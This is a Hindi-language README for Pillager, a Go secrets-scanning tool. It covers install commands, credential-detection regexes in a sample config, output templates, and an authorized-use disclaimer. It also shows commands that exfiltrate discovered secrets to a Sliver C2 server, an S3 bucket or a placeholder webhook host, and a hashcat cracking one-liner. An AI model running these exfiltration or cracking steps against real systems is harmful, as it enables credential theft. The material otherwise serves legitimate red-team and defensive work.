
Go के साथ संवेदनशील जानकारी के लिए फ़ाइलसिस्टम लूटें 🔍
Go के साथ फाइलसिस्टम से संवेदनशील जानकारी की छानबीन करें।
पिलेजर को Go के मजबूत समवर्ती मॉडल का लाभ उठाकर फाइलों में संवेदनशील जानकारी के लिए निर्देशिकाओं की पुनरावृत्त खोज करने का एक सरल साधन प्रदान करने के लिए डिज़ाइन किया गया है। पिलेजर ऐसा कुछ दिग्गजों के कंधों पर खड़ा होकर करता है। एक बार जब पिलेजर निर्दिष्ट पैटर्न से मेल खाने वाली फ़ाइलें ढूंढ लेता है, तो फ़ाइल को समवर्ती कार्यकर्ताओं की एक श्रृंखला का उपयोग करके स्कैन किया जाता है, जिनमें से प्रत्येक जॉब कतार से फ़ाइल की एक पंक्ति लेता है और संवेदनशील पैटर्न मिलान की तलाश करता है। उपलब्ध पैटर्न फ़िल्टर को pillager.toml फ़ाइल में परिभाषित किया जा सकता है या आप डिफ़ॉल्ट नियम सेट का उपयोग कर सकते हैं।
यदि आपके सिस्टम पर Go सेटअप है, तो आप go install के साथ पिलेजर स्थापित कर सकते हैं
go install github.com/brittonhayes/pillager@latest
scoop bucket add pillager https://github.com/brittonhayes/pillager-scoop.git
scoop install pillager
brew tap brittonhayes/homebrew-pillager
brew install pillager
docker run --rm -it ghcr.io/brittonhayes/pillager:latest hunt .
यदि आप एक बाइनरी की तलाश कर रहे हैं, तो अपने सिस्टम से मेल खाने वाली नवीनतम रिलीज़ की जांच करें
pillager के साथ उपलब्ध सभी कमांड देखने के लिए
# एप्लिकेशन के लिए निर्देश देखने के लिए
pillager
# किसी भी उप-कमांड से
pillager [cmd] --help
पिलेजर एक टर्मिनल यूज़र इंटरफ़ेस प्रदान करता है जो bubbletea के साथ बनाया गया है, यदि आप इंटरैक्टिव रूप से रहस्यों की खोज करना चाहते हैं।
खोजे गए रहस्यों को दूरस्थ गंतव्यों पर भेजें: Sliver C2 (लूट/क्रेडेंशियल स्टोर), S3/MinIO (क्लाउड स्टोरेज), या Webhooks (कस्टम HTTP एंडपॉइंट)।
# Sliver C2 - क्रेडेंशियल पार्सिंग के साथ टीमसर्वर पर भेजें
pillager hunt /target --exfil sliver \
--sliver-config ~/.sliver-client/configs/operator.cfg
# S3/MinIO - एन्क्रिप्शन के साथ अपलोड करें
pillager hunt /target --exfil s3 \
--s3-bucket red-team-findings \
--s3-endpoint https://minio.internal:9000 \
--exfil-encrypt env:EXFIL_KEY
# Webhook - कस्टम एंडपॉइंट पर POST करें
pillager hunt /target --exfil webhook \
--webhook-url https://your-server.com/findings \
--webhook-header "Authorization: Bearer token"
सुरक्षा: AES-256-GCM एन्क्रिप्शन (--exfil-encrypt), डिफ़ॉल्ट रूप से TLS, स्वचालित मेटाडेटा (होस्टनाम, टाइमस्टैम्प)
पिलेजर गिटलीक्स1 नियमों के लिए पूर्ण समर्थन प्रदान करता है। इसे आपके pillager.toml फ़ाइल में एक नियम2 अनुभाग के साथ पास किया जा सकता है, या आप कॉन्फ़िग फ़्लैग को खाली छोड़कर डिफ़ॉल्ट नियम सेट का उपयोग कर सकते हैं।
# pillager.toml
# Basic configuration
verbose = false
redact = false
# Rules for secret detection
[[rules]]
description = "AWS Access Key"
id = "aws-access-key"
regex = '''(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'''
tags = ["aws", "credentials"]
[[rules]]
description = "AWS Secret Key"
id = "aws-secret-key"
regex = '''(?i)aws(.{0,20})?(?-i)['\"][0-9a-zA-Z\/+]{40}['\"]'''
tags = ["aws", "credentials"]
[[rules]]
description = "GitHub Token"
id = "github-token"
regex = '''ghp_[0-9a-zA-Z]{36}'''
tags = ["github", "token"]
[[rules]]
description = "Private Key"
id = "private-key"
regex = '''-----BEGIN (?:RSA|OPENSSH|DSA|EC|PGP) PRIVATE KEY( BLOCK)?-----'''
tags = ["key", "private"]
# Allowlist configuration
[allowlist]
paths = [
".*/_test\\.go$",
".*/testdata/.*",
".*\\.md$",
".*/vendor/.*"
]
regexes = [
"EXAMPLE_KEY",
"DUMMY_SECRET"
]
पिलेजर में कई अंतर्निर्मित आउटपुट प्रारूप उपलब्ध हैं। अपना पसंदीदा चुनें!
pillager hunt .
pillager hunt ./example -f json | jq
JSON आउटपुट को आसान पार्सिंग के लिए अद्भुत jq उपयोगिता के साथ सहजता से काम करने के लिए डिज़ाइन किया गया है।
# खोजों से नई-पंक्ति सीमांकित शब्दसूची बनाने के लिए पिलेजर का उपयोग करें
pillager hunt . -f wordlist
# शब्दसूची जोड़ने और फिर अपने पसंदीदा हैशकैट अटैक मोड का उपयोग करने के लिए पिलेजर का उपयोग करें
pillager hunt ./ -f wordlist >> rockyou.txt && hashcat -a 0 hash.txt rockyou.txt
pillager hunt . -f json-pretty
pillager hunt . -f html > results.html
pillager hunt . -f markdown > results.md
pillager hunt . -f csv > results.csv
pillager hunt . --template "{{ range .}}Secret: {{.Secret}}{{end}}"
pillager hunt . -t "$(cat mytemplate.tmpl)"
पिलेजर आपको आउटपुट प्रारूप को अनुकूलित करने के लिए शक्तिशाली go text/template और sprig फ़ंक्शन का उपयोग करने की अनुमति देता है। यहाँ कुछ टेम्पलेट उदाहरण दिए गए हैं।
{{ range . -}}
File: {{ .File }}
Secret: {{ .Secret}}
Description: {{ quote .Description }}
{{ end -}}
# Results
{{ range . -}}
## {{ .File }}
- Location: {{.StartLine}}
{{end}}
अधिक टेम्पलेट उदाहरण templates निर्देशिका में पाए जा सकते हैं।
GoDoc दस्तावेज़ीकरण pkg.go.dev पर पिलेजर के लिए उपलब्ध है।
पिलेजर के लिए सुविधाएँ और सुधार विकसित करने में शामिल होने के लिए, निम्नलिखित के साथ शुरुआत करें:
कोबरा क्या है?
कोबरा एक लाइब्रेरी है जो git और go टूल्स के समान शक्तिशाली आधुनिक CLI इंटरफ़ेस बनाने के लिए एक सरल इंटरफ़ेस प्रदान करती है। कोबरा एक एप्लिकेशन भी है जो आपके एप्लिकेशन स्कैफोल्डिंग उत्पन्न करेगा ताकि कोबरा-आधारित एप्लिकेशन को तेज़ी से विकसित किया जा सके।
यदि आपने पहले Go में लिखा कोई CLI देखा है, तो इस बात की बहुत अधिक संभावना है कि यह कोबरा के साथ बनाया गया था। मैं इस लाइब्रेरी की पर्याप्त अनुशंसा नहीं कर सकता। यह डेवलपर्स को आसानी से सुसंगत, गतिशील और स्व-दस्तावेज़ीकरण कमांड लाइन टूल बनाने में सशक्त बनाता है। कुछ उदाहरणों में kubectl, hugo, और Github का gh CLI शामिल हैं।
गिटलीक्स क्या है?
गिटलीक्स1 एक SAST टूल है जो git रिपॉजिटरी में पासवर्ड, API कुंजी और टोकन जैसे हार्डकोडेड रहस्यों का पता लगाने के लिए है।
गिटलीक्स सीक्रेट लीक रोकथाम के लिए एक अद्भुत टूल है। यदि आपने गिटलीक्स को प्री-कमिट चेकर के रूप में लागू नहीं किया है, तो इसे देखना आपके समय के लायक है।
पिलेजर के लिए गिटलीक्स क्यों प्रासंगिक है?
पिलेजर गिटलीक्स की शक्तिशाली नियम कार्यक्षमता को लागू करता है, जबकि पाए गए रहस्यों को प्रस्तुत करने और संभालने के लिए एक अलग दृष्टिकोण अपनाता है। जबकि मैंने डिफ़ॉल्ट नियमों का एक आधार सेट प्रदान किया है, यदि आप उपयोगकर्ताओं को अपने स्वयं के उपयोग-मामलों के लिए नियम बनाने की अनुमति देते हैं तो पिलेजर अधिक शक्तिशाली हो जाता है।
आधार नियम सेट के लिए शामिल नियम2 देखें।
यह कहने की आवश्यकता नहीं है, लेकिन मैं फिर भी कहूँगा: मैं आपके द्वारा पिलेजर के उपयोग से होने वाले किसी भी प्रभाव के लिए जिम्मेदार नहीं हूँ। यह टूल रक्षात्मक उपयोग, शैक्षिक उपयोग और सुरक्षा शोधकर्ताओं के उपयोग के लिए उन सभी शामिल पक्षों की सहमति से है। पिलेजर के साथ दुर्भावनापूर्ण व्यवहार किसी भी तरह से समर्थित या प्रोत्साहित नहीं है। कृपया इस टूल का जिम्मेदारी से उपयोग करें और किसी भी सिस्टम पर रहस्यों को स्कैन करने से पहले अनुमति लेना सुनिश्चित करें।
इसके मूल में, पिलेजर आपको यह निर्धारित करने में सहायता करने के लिए डिज़ाइन किया गया है कि कोई सिस्टम MITRE ATT&CK3 ढांचे द्वारा प्रलेखित क्रेडेंशियल लीक के सामान्य स्रोतों से प्रभावित है या नहीं।
MITRE ATT&CK तकनीक - T1552,003 - असुरक्षित क्रेडेंशियल: बैश इतिहास
MITRE ATT&CK तकनीक - T1552,001 - असुरक्षित क्रेडेंशियल: फाइलों में क्रेडेंशियल